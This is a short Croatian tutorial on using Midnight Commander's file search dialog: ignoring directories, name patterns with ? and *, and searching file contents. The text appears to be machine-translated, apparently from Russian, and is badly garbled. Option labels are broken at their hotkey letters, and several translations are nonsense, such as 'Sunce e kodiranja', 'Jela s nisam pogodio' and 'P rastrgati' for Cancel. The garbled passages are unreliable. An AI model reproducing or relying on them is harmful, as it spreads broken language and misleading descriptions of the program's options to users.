Kontekstno polje "Ena" b ignoriraj imenike" ( I ignorirajte direktorije) možete ostaviti praznim ako ne želite isključiti poznate direktorije iz pretraživanja kako biste suzili područje pretraživanja.

U polju" Naziv datoteke» ( Predložak imena ) morate unijeti naziv datoteke ili predložak za njezin naziv. Predložak koristi ? za bilo koji lik ili * za bilo koji broj bilo kojih znakova. Ako ne znamo ništa o nazivu ili ekstenziji datoteke, slobodno unesite *.* .

Po želji odaberite:

  • « F ind rekurzivno" ( Pronađite re Do urzivno)
  • « U pjevaj uzorke školjki" ( M etashell likovi)
  • "Cas e osjetljiv" ( Učak i registrirati)
  • « A ll skupova znakova" ( U Sva kodiranja)
  • "S k ip skriven" ( Preskoči skt s ti si e)

U polju" Sadržaj» ( Sadržaj ) unesite redak koji će Midnight Commander morati pronaći u svim datotekama na koje naiđe.

Po želji odaberite:

  • "More r ch za sadržaj" ( Pretraživanje po sadržaju i pretpostavljam) ← OVA JE OPCIJA POTREBNA ZA PRETRAGU NIZOVA
  • "Ponovno g ularni izraz" ( R regularni izraz)
  • "Osjećaj velikih i malih slova ja tiv" ( Računovodstvo za re G istra)
  • "A l l skupovi znakova" ( Sunce e kodiranja)
  • « W rupa riječi" ( S cijeli ulov)
  • "Jela s nisam pogodio" ( Sve do prvog ulaska x rođenje)

Pokreni pretragu" O k" ( D alshe), prestani s " C ansel" ( P rastrgati).

Nakon što program prođe kroz sve datoteke, prikazat će ih kao popis direktorija u kojima se nalaze datoteke s podudaranjima + same datoteke s brojevima redaka u kojima su pronađena podudaranja s traženom frazom.

Općenito, mega-praktičan program kada tražite nešto što znate, ali ne znate gdje točno tražiti. :)